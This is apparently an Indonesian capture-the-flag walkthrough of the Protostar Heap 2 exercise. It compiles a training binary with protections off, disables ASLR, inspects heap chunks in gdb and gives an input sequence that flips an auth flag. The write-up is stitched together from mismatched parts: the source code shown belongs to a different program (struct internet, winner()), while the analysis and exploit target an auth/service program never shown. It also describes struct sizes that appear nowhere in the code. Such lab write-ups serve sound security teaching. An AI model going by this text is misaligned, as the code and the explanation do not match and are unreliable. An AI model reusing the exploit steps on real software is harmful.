Protostar Heap 2

Alat dan Bahan

  • Fail: vuln.c
  • Kompiler: GCC
  • Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>



struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c

Penjelasan

-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.

-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).

-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi

-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.

-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

./vuln
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804b818, service = (nil) ]
auth B
[ auth = 0x804b828, service = (nil) ]
^C
x = 0x804b818
y = 0x804b828

Malloc pertama mengembalikan nilai x dan malloc kedua mengembalikan nilai y sehingga jaraknya 16 byte. Tanpa menghitung 8 byte yang ada pada header chunk kedua, fungsi malloc() menyediakan space 8 byte (sebanyak-banyak dibulatkan menjadi kelipatan dword selanjutnya)

gdb-peda$ b main

gdb-peda$ c

auth A

gdb-peda$ c

auth B

gdb-peda$ x/20x 0x804b808
0x804b808:    0x00000000    0x00000000    0x00000000    0x00000011
0x804b818:    0x00000a41    0x00000000    0x00000000    0x00000011
0x804b828:    0x00000a42    0x00000000    0x00000000    0x000207d1
0x804b838:    0x00000000    0x00000000    0x00000000    0x00000000
0x804b848:    0x00000000    0x00000000    0x00000000    0x00000000

gdb-peda$

Seharusnya structure's size berjumlah 40 byte namun pada contoh diatas structure's size berjumlah 36 byte (32 untuk char + 4 untuk int). Ini disebabkan karena auth = malloc(sizeof(auth)), auth merupakan pointer struct auth dan pointer biasanya berjumlah 4 byte (dalam arsitektur x86)! Kemungkinan hal ini juga disebabkan nama pointer serupa dengan nama struktur. Untuk mengeksploitasi program ini, atur nilai auth->auth (int pada struct auth) yang diarahkan pada 32 byte offset dari alamat yang dikembalikan fungsi malloc(). Dengan menghitung 8 byte pada chunk pertama ditambah 8 byte pada chunk's header kedua, dan ditambah 1 byte bisa digunakan untuk mengatur nilai auth->auth menjadi true.

Eksploitasi

Untuk menyelesaikannya, gunakan payload dibawah ini.

./vuln
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804b818, service = (nil) ]
service 0123456789abcdef
[ auth = 0x804b818, service = 0x804b828 ]
login
you have logged in already!
[ auth = 0x804b818, service = 0x804b828 ]
^C

Referensi

results matching ""

    No results matching ""